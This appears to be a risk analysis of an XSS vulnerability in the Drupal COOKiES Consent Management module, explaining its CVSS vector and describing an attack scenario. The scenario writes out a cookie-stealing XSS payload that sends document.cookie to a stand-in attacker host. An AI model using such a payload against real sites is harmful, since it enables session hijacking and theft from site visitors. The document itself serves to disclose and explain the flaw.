Cookies Consent Management EUVD-2025-18288

The CVSS v3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L) indicates severe real-world risk: the attack requires only network access, low complexity, no privileges, and no user interaction. The high confidentiality impact combined with integrity and availability impacts suggests attackers can steal session tokens, redirect users, modify page content, or execute credential-harvesting attacks. The absence of user interaction (UI:N) is particularly concerning for a cookie consent module—attackers do not need victims to click anything. While specific EPSS and KEV status data was not provided in the query, the combination of (1) high CVSS, (2) network accessibility, (3) zero authentication/interaction requirements, and (3) the ubiquity of Drupal installations using consent management makes this a critical priority. The attack surface is broad: any unauthenticated user visiting a site using vulnerable versions can trigger XSS. This is not a case of high CVSS but low real-world risk; the technical parameters align with genuine exploitability.

An attacker identifies a Drupal site running COOKiES Consent Management version < 1.2.15. They craft a malicious URL or modify a configuration value (depending on the injection point) to inject JavaScript into the consent banner. For example, if the module reflects user input into the banner's HTML without escaping, an attacker could inject: <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. When any visitor loads the page, the banner renders, the injected script executes in their browser context, and their session cookies are exfiltrated to the attacker's server. Alternatively, the attacker could inject a keylogger, redirect users to a phishing page, or modify the banner's appearance to trick users into clicking malicious links. Because the attack requires no authentication or user interaction (AV:N, PR:N, UI:N), the attacker can target any unauthenticated visitor immediately. If a public exploit (POC) exists, the attack becomes trivial to automate and deploy at scale.